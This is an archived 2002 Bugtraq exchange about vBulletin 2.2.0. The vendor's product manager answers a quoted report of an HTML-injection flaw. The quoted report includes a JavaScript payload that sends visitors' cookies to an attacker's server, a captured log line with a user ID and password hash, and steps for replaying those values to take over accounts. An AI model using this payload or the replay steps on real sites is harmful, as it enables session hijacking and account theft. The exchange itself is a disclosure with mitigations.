Bugtraq mailing list archives

Semi-serious vulnerability in vBulletin 2.2.0

From: "John Percival" <johnnews () jelsoft com>
Date: Thu, 31 Jan 2002 22:02:16 -0000

Harry et al.

Thank you for bringing this to our attention. It is usual to notify the
vendor BEFORE going public, but at least you cc'd us.

I would like to flesh out a few more of the details here.

Harry is fully correct that allowing HTML in forums is a risk, and vBulletin
owners are warned about that in the online manual:

http://www.vbulletin.com/manual/forums.html#1
(see note on 'allow HTML in this forum')

He is also correct that adding the variables to the URL will allow you to
log in as the user. A more advanced hacker could also spoof the cookies, so
checking the $HTTP_COOKIE_VARS / $_COOKIE array would not be any more
effective against a determined attacker.

Harry recommends turning off the [img] code also. This is absolutely not
necessary as we have very tight checks on what is allowed in the [img] tag,
and Javascript cannot be used in there. However, allowing HTML code entered
by the user is always going to have to rely on trust. Scripting can be used
in almost any element (eg. <script>, <style>, <img>, <body>, <a>), and if
you want to read more on this, look at the recent discussions on the
webappsec mailing list, also on SecurityFocus.com

The bottom line is that if you do not completely and utterly trust the users
of the bulletin board, HTML should not ever be allowed. That is why we have
that option turned off by default.

Just as a quick aside, it is possible to define your own custom 'vB Code'
tags, like the [img] tag, which should allow you to do everything that
enabling HTML does, and much more.

Many thanks for listening,

John Percival
Product Manager, vBulletin
Jelsoft Enterprises Ltd.

http://www.vbulletin.com/
mailto:john () vbulletin com


----------------------------------------------------------------------------
You wrote:

This is my first report to bugtraq, I hope this is useful. This has been
tested on vBulletin version 2.2.0. The vendor is CC'd on this message. I
would imagine this applies to many products, not just the vbulletin, which I
would like to say is more secure than most.

------------
The Exploit:
------------

It involves a few different parts, firstly some malicious scripting and then
tricking the forum into accepting data from the wrong place.

First, I post some malicious html in a reply to a topic that allows HTML:

document.write('
src="http://my_ip_address/'+document.cookie+'";>';

When someone loads the page, the javascript echoes the contents of their
cookies into the image source tag that points to a webserver on my machine,
resulting in this kind of line in my access log:

GET
/bbuserid=86;%20bbpassword=dd6169d68822a116cd97e1fbddf90622;%20sessionhash=a
4719cd620534914930b86839c4bb5f8;%20bbthreadview[5420]=1012444064;%20bblastvi
sit=1011983161

At first I thought this was useless since the forum uses a one-way
encryption hash to protect the password... however, then it occurred that If
I log out and clear my cookies, I can add these variables into the url of
any page and the forum will use those variables to log me in transparently,
just like it ordinarily does when you leave the forum and come back. So I
added the variables to the url and bingo, it logged me in as a moderator of
the forum, who was being my guinea pig.

From here, I can log onto his profile, change his email address to mine, use

the forgotten password utility to have his password emailed to me. Obviously
in this user's case this is fairly useless, but if I had caught an
administrator's cookie info from the malicious javascript, I could get their
password, giving me access to the CP... and that's that.

-------------
Workaround:
-------------

Disable html, make sure that there is absolutely nowhere on the page where
html can be echoed onto a page. Disable the [img] tag for good measure.

---------
Solution:
---------

Ensure that $bbuserid, $bbpassword, and the rest of the cookied variables
are coming from the cookie and not from GET or POST data, by using the
$HTTP_COOKIE array.

Harry Metcalfe

Current thread:

Semi-serious vulnerability in vBulletin 2.2.0 John Percival (Jan 31)